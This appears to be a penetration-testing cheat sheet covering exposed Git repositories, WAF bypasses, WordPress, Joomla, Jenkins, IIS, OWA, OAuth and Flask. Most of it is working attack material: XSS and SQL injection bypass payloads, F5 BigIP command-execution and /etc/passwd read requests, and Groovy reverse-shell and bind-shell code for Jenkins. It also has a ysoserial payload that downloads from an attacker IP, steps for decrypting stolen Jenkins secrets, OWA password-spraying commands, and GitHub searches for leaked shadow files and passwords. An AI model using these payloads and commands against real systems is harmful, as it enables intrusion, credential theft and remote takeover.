# GitDumper
https://github.com/internetwache/GitTools
If we have access to .git folder:
./gitdumper.sh http://example.com/.git/ /home/user/dump/
./extractor.sh /home/user/dump/ /home/user/dump_extracted
# Extract secrets from the repo
# https://github.com/zricethezav/gitleaks#
gitleaks detect /tmp/test -v
# https://github.com/trufflesecurity/trufflehog
trufflehog filesystem --directory=/tmp/test
# Manual way to extract blob's content:
git cat-file --batch-check --batch-all-objects | grep blob
git cat-file -p HASH
# GitGot
https://github.com/BishopFox/GitGot
./gitgot.py --gist -q CompanyName./gitgot.py -q '"example.com"'./gitgot.py -q "org:github cats"
# GitRob https://github.com/michenriksen/gitrob
gitrob website.com
# GitHound https://github.com/tillson/git-hound
echo "domain.com" | githound --dig --many-results --languages common-languages.txt --threads 100
# GitGrabber https://github.com/hisxo/gitGraber
# SSH GIT https://shhgit.darkport.co.uk/
# GithubSearch
https://github.com/gwen001/github-search
# Trufflehog
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
# If you have public .git
https://github.com/HightechSec/git-scanner
# GitMiner
# wordpress configuration files with passwords
python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP\_HOST in:file ' -m wordpress -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4 -o result.txt
# brasilian government files containing passwords
python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
# shadow files on the etc paste
python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
# joomla configuration files with passwords
python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
# GitLeaks
sudo docker pull zricethezav/gitleaks
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
or (repository in /tmp)
sudo docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/repository
# GitJacker - for exposed .git paths
# https://github.com/liamg/gitjacker
curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh" | bash
gitjacker url.com
# Then visualize a commit:
https://github.com/[git account]/[repo name]/commit/[commit ID]
https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf
# Manual local checks inside repository
git log
# Checkout repo with .env file
git checkout f17a07721ab9acec96aef0b1794ee466e516e37a
ls -la
cat .env
# Find websites from GitHub
https://github.com/Orange-Cyberdefense/versionshaker
GitLab
Default credentials:
Username: root & pass: 5iveL!fe
Username: admin & Pass: 5iveL!fe
If you find GitLab login panel, try to go to:
/explore
Then use the searchbar for users,passwords,keys..
WAFs
https://waf-bypass.com
Tools
whatwaf https://example.com
wafw00f https://example.com
# https://github.com/vincentcox/bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d example.com
# Bypasser
# https://github.com/RedSection/pFuzz
# https://github.com/nemesida-waf/waf-bypass
# Domain IP history
https://viewdns.info/iphistory/
# Bypasses and info
https://github.com/0xInfection/Awesome-WAF
https://github.com/waf-bypass-maker/waf-community-bypasses
# Manual identification
dig +short target.com
curl -s https://ipinfo.io/<ip address> | jq -r '.com'
# Always check DNS History for original IP leak
https://whoisrequest.com/history/
# Waf detection
nmap --script=http-waf-fingerprint victim.com
nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 victim.com
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro " victim.com
wafw00f victim.com
# Good bypass payload:
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
javascript:”/*’/*`/* →<html \” onmouseover=/*<svg/*/onload=alert()//>
# Bypass trying to access to :
dev.domain.com
stage.domain.com
ww1/ww2/ww3...domain.com
www.domain.uk/jp/
# Akamai
origin.sub.domain.com
origin-sub.domain.com
- Send header:
Pragma: akamai-x-get-true-cache-key
{{constructor.constructor(alert`1`)()}}
\');confirm(1);//
444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#
# ModSecurity Bypass
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>
# Cloudflare
python3 cloudflair.py domain.com
# https://github.com/mandatoryprogrammer/cloudflare_enum
cloudflare_enum.py disney.com
https://viewdns.info/iphistory/?domain=domain.com
https://whoisrequest.com/history/
# Cloudflare bypasses
<!<script>alert(1)</script>
<a href=”j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this[‘document’][‘cookie’])”>X</a>
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert'1';>
<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
<a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>
# Aqtronix WebKnight WAF
- SQLi
0 union(select 1,@@hostname,@@datadir)
0 union(select 1,username,password from(users))
- XSS
<details ontoggle=alert(document.cookie)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
# ModSecurity
- XSS
<scr%00ipt>alert(document.cookie)</scr%00ipt>
onmouseover%0B=
ontoggle%0B%3D
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
- SQLi
1+uni%0Bon+se%0Blect+1,2,3
# Imperva Incapsula
https://medium.com/@0xpegg/imperva-waf-bypass-96360189c3c5
url.com/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
- Parameter pollution SQLi
http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+-
-XSS
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<img/src="x"/onerror="[7 char payload goes here]">
# FAIL2BAN SQLi
(SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT (ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# F5 BigIP
RCE: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Read File: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
- XSS
<body style="height:1000px" onwheel=alert(“123”)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
)[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" on-
show="prom%25%32%33%25%32%36x70;t(1)">
# More payloads
https://github.com/Walidhossain010/WAF-bypass-xss-payloads
# Wordfence
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
# RCE WAF globbing bypass
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/???/p?s?w?
cat /etc$u/p*s*wd$u
Firebird
Tools
# https://github.com/InfosecMatter/Scripts/blob/master/firebird-bruteforce.sh
./firebird\_bruteforce.sh IP DB /PATH/pwdlist.txt
# https://www.infosecmatter.com/firebird-database-exploitation/
apt-get -y install firebird3.0-utils
isql-fb
Wordpress
Tools
# https://github.com/wpscanteam/wpscan
wpscan --url https://url.com
# Check IP behing WAF:
https://blog.nem.ec/2020/01/22/discover-cloudflare-wordpress-ip/
# SQLi in WP and can't crack users hash:
1. Request password reset.
2. Go to site.com/wp-login.php?action=rp&key={ACTIVATION_KEY}&login={USERNAME}
# XMLRPC
# https://github.com/nullfil3/xmlrpc-scan
# https://github.com/relarizky/wpxploit
# https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/
# pingback.xml:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>http://10.0.0.1/hello/world</string>
</value>
</param>
<param>
<value>
<string>https://10.0.0.1/hello/world/</string>
</value>
</param>
</params>
</methodCall>
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
# List methods:
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
curl -X POST -d @pingback.xml https://exmaple.com/xmlrpc.php
# Evidence xmlrpc:
curl -d '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>demo.sayHello</methodName><params/></methodCall>' -k https://example.com/xmlrpc.php
# Enum User:
for i in {1..50}; do curl -s -L -i https://example.com/wordpress?author=$i | grep -E -o "Location:.*" | awk -F/ '{print $NF}'; done
site.com/wp-json/wp/v2/users/
WebDav
davtest -cleanup -url http://target
cadaver http://target
Joomla
# Joomscan
joomscan -u http://10.11.1.111
joomscan -u http://10.11.1.111 --enumerate-components
# Juumla
#https://github.com/knightm4re/juumla
python3 main.py -u https://example.com
droopescan scan joomla -u http://10.11.1.111
python3 cmseek.py -u domain.com
vulnx -u https://example.com/ --cms --dns -d -w -e
python3 cmsmap.py https://www.example.com -F
# nmap http-Joomla-brute
# Check common files
README.txt
htaccess.txt
web.config.txt
configuration.php
LICENSE.txt
administrator
administrator/index.php # Default admin login
index.php?option=<nameofplugin>
administrator/manifests/files/joomla.xml
plugins/system/cache/cache.xml
Jenkins
# Tools
# dump_builds, offline_decryption & password_spraying
# https://github.com/gquere/pwn_jenkins
# https://github.com/Accenture/jenkins-attack-framework
# URL's to check
JENKINSIP/PROJECT//securityRealm/user/admin
JENKINSIP/jenkins/script
# Groovy RCE
def process = "cmd /c whoami".execute();println "${process.text}";
# Groovy RevShell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Common bugs
Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)
Use ysoserial to generate a payload. Then RCE using this script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)
Details here.
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)
Original RCE vulnerability here, full exploit here.
Alternative RCE with Overall/Read and Job/Configure permissions here.
CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)
Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Execute arbitrary bash commands:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
If you don't immediately get a reverse shell you can debug by throwing an exception:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)
This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.
Dumping builds to find cleartext secrets
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Password spraying
Use this python script.
Files to copy after compromising
These files are needed to decrypt Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Such secrets can usually be found in:
- credentials.xml
- jobs/.../build.xml
Here's a regexp to find them:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Decrypt Jenkins secrets offline
Use this script to decrypt previously dumped secrets.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
Groovy Scripts
Decrypt Jenkins secrets from Groovy
println(hudson.util.Secret.decrypt("{...}"))
Command execution from Groovy
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
For multiline shell commands, use the following shell syntax trick (example includes bind shell):
def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
Automate it using this script.
Reverse shell from Groovy
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
IIS
# Reminder:
Case insensitive
IIS Shortname
VIEWSTATE deserialization RCE gadget
Web.config upload tricks
Debug mode w/ detailed stack traces and full path
Debugging scripts often deployed (ELMAH, Trace)
Telerik RCE
# ViewState:
https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC
# WebResource.axd:
https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py
# ShortNames
https://github.com/irsdl/IIS-ShortName-Scanner
java -jar iis_shortname_scanner.jar 2 20 http://domain.es
https://github.com/bitquark/shortscan
https://github.com/sw33tLie/sns
# Padding Oracle Attack:
# https://github.com/KishanBagaria/padding-oracle-attacker
npm install --global padding-oracle-attacker
padding-oracle-attacker decrypt hex: [options]
padding-oracle-attacker decrypt b64: [options]
padding-oracle-attacker encrypt [options]
padding-oracle-attacker encrypt hex: [options]
padding-oracle-attacker analyze [] [options]
# https://github.com/liquidsec/pyOracle2
# Look for web.config or web.xml
https://x.x.x.x/.//WEB-INF/web.xml
# ASP - force error paths
/con/
/aux/
con.aspx
aux.aspx
# HTTPAPI 2.0 404 Error
Change Host header to correct subdomain
Add to /etc/hosts
Scan again including IIS Shortnames
# IIS 7
IIS Short Name scanner
HTTP.sys DOS RCE
# ViewState
# https://github.com/0xacb/viewgen
VHosts
Tools
# https://github.com/jobertabma/virtual-host-discovery
ruby scan.rb --ip=192.168.1.101 --host=domain.tld
# https://github.com/dariusztytko/vhosts-sieve
python3 vhosts-sieve.py -d domains.txt -o vhosts.txt
# Enum vhosts
fierce -dns example.com
# https://github.com/codingo/VHostScan
VHostScan -t example.com
Techniques
# ffuf
badresponse=$(curl -s -H "host: totallynotexistsforsure.bugcrowd.com" https://bugcrowd.com | wc -c)
ffuf -u https://TARGET.com -H "Host: FUZZ.TARGET.com" -w werdlists/dns-hostnames/nmap-vhosts-all.txt -fs $badresponse
# Manual with subdomains list
for sub in $(cat subdomains.txt); do
echo "$sub $(dig +short a $sub | tail -n1)" | anew -q subdomains_ips.txt
done
Firebase
Tools
# https://github.com/Turr0n/firebase
python3 firebase.py -p 4 --dnsdumpster -l file
# https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit
Firebase_Exploit.py
# https://github.com/viperbluff/Firebase-Extractor
firebase.py xyz.firebaseio.com
# Python conector
# https://github.com/thisbejim/Pyrebase
import pyrebase
config = {
"apiKey": "FIREBASE_API_KEY",
"authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
"databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
"storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
}
firebase = pyrebase.initialize_app(config)
db = firebase.database()
print(db.get())
OWA
Tools
# https://github.com/dafthack/MailSniper
# Spraying toolkit: https://github.com/byt3bl33d3r/SprayingToolkit
Invoke-PasswordSprayOWA -ExchHostName mail.r-1x.com -UserList C:\users.txt -Password Dakota2019! -OutFile C:\creds.txt -Threads 10
python3 atomizer.py owa mail.r-1x.com 'Dakota2019!' ../users.txt
# https://github.com/gremwell/o365enum
./o365enum.py -u users.txt -p Password2 -n 1
# https://github.com/mdsecactivebreach/o365-attack-toolkit
Bypasses
# UserName Recon/Password Spraying - http://www.blackhillsinfosec.com/?p=4694
# Password Spraying MFA/2FA - http://www.blackhillsinfosec.com/?p=5089
# Password Spraying/GlobalAddressList - http://www.blackhillsinfosec.com/?p=5330
# Outlook 2FA Bypass - http://www.blackhillsinfosec.com/?p=5396
# Malicious Outlook Rules - https://silentbreaksecurity.com/malicious-outlook-rules/
# Outlook Rules in Action - http://www.blackhillsinfosec.com/?p=5465
Name Conventions:
- FirstnameLastinitial
- FirstnameLastname
- Lastname.firstname
OAuth
Explanation
# OAuth 2.0
https://oauth.net/2/
https://oauth.net/2/grant-types/authorization-code/
Flow:
1. MyWeb tried integrate with Twitter.
2. MyWeb request to Twitter if you authorize.
3. Prompt with a consent.
4. Once accepted Twitter send request redirect_uri with code and state.
5. MyWeb take code and it's own client_id and client_secret and ask server for access_token.
6. MyWeb call Twitter API with access_token.
Definitions:
- resource owner: The resource owner is the user/entity granting access to their protected resource, such as their Twitter account Tweets
- resource server: The resource server is the server handling authenticated requests after the application has obtained an access token on behalf of the resource owner . In the above example, this would be https://twitter.com
- client application: The client application is the application requesting authorization from the resource owner. In this example, this would be https://yourtweetreader.com.
- authorization server: The authorization server is the server issuing access tokens to the client application after successfully authenticating the resource owner and obtaining authorization. In the above example, this would be https://twitter.com
- client_id: The client_id is the identifier for the application. This is a public, non-secret unique identifier.
- client_secret: The client_secret is a secret known only to the application and the authorization server. This is used to generate access_tokens
- response_type: The response_type is a value to detail which type of token is being requested, such as code
- scope: The scope is the requested level of access the client application is requesting from the resource owner
- redirect_uri: The redirect_uri is the URL the user is redirected to after the authorization is complete. This usually must match the redirect URL that you have previously registered with the service
- state: The state parameter can persist data between the user being directed to the authorization server and back again. It’s important that this is a unique value as it serves as a CSRF protection mechanism if it contains a unique or random value per request
- grant_type: The grant_type parameter explains what the grant type is, and which token is going to be returned
- code: This code is the authorization code received from the authorization server which will be in the query string parameter “code” in this request. This code is used in conjunction with the client_id and client_secret by the client application to fetch an access_token
- access_token: The access_token is the token that the client application uses to make API requests on behalf of a resource owner
- refresh_token: The refresh_token allows an application to obtain a new access_token without prompting the user
Bugs
# Weak redirect_uri
1. Alter the redirect_uri URL with TLD aws.console.amazon.com/myservice -> aws.console.amazon.com
2. Finish OAuth flow and check if you're redirected to the TLD, then is vulnerable
3. Check your redirect is not to Referer header or other param
https://yourtweetreader.com/callback?redirectUrl=https://evil.com
https://www.target01.com/api/OAUTH/?next=https://www.target01.com//evil.com/
https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.evil.com
https://www.target01.com/api/OAUTH/?next=https://www.target01.com%252e.evil.com
https://www.target01.com/api/OAUTH/?next=https://www.target01.com/project/team
http://target02.com/oauth?redirect_uri=https://evil.com[.target02.com/
https://www.target01.com/api/OAUTH/?next=https://yourtweetreader.com.evil.com
https://www.target.com/endpoint?u=https://EVILtwitter.com/
ffuf -w words.txt -u https://www.target.com/endpoint?u=https://www.FUZZ.com/
# Path traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com
# HTML Injection and stealing tokens via referer header
Check referer header in the requests for sensitive info
# Access Token Stored in Browser History
Check browser history for sensitive info
# Improper handling of state parameter
Check lack of state parameter and is in url params and is passed to all the flow
Verifying State entropy
Check state is not reused
Remove state and URI and check request is invalid
# Access Token Stored in JavaScript
# Lack of verification
If not email verification is needed in account creation, register before the victim.
If not email verification in Oauth signing, register other app before the victim.
# Access token passed in request body
If the access token is passed in the request body at the time of allocating the access token to the web application there arises an attack scenario.
An attacker can create a web application and register for an Oauth framework with a provider such as twitter or facebook. The attacker uses it as a malicious app for gaining access tokens.
For example, a Hacker can build his own facebook app and get victim’s facebook access token and use that access token to login into victim account.
# Reusability of an Oauth access token
Replace the new Oauth access token with the old one and continue to the application. This should not be the case and is considered as a very bad practice.
OAuth resources
https://owasp.org/www-pdf-archive/20151215-Top_X_OAuth_2_Hacks-asanso.pdf
https://medium.com/@lokeshdlk77/stealing-facebook-mailchimp-application-oauth-2-0-access-token-3af51f89f5b0
https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
https://gauravnarwani.com/misconfigured-oauth-to-account-takeover/
https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
https://medium.com/@logicbomb_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56
https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567
https://hackerone.com/reports/49759
https://hackerone.com/reports/131202
https://hackerone.com/reports/6017
https://hackerone.com/reports/7900
https://hackerone.com/reports/244958
https://hackerone.com/reports/405100
https://ysamm.com/?p=379
https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
https://medium.com/@godofdarkness.msf/mail-ru-ext-b-scope-account-takeover-1500-abdb1560e5f9
https://medium.com/@tristanfarkas/finding-a-security-bug-in-discord-and-what-it-taught-me-516cda561295
https://medium.com/@0xgaurang/case-study-oauth-misconfiguration-leads-to-account-takeover-d3621fe8308b
https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74
http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html
http://blog.intothesymmetry.com/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
https://www.veracode.com/blog/research/spring-social-core-vulnerability-disclosure
https://medium.com/@apkash8/oauth-and-security-7fddce2e1dc5
https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893
OAuth scheme
Code grant flow
OAuth Attack mindmap
Flask
# https://github.com/Paradoxis/Flask-Unsign
pip3 install flask-unsign
flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --server 'https://www.example.com/login'
flask-unsign --unsign --cookie < cookie.txt
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
# Python Flask SSTI Payloads and tricks
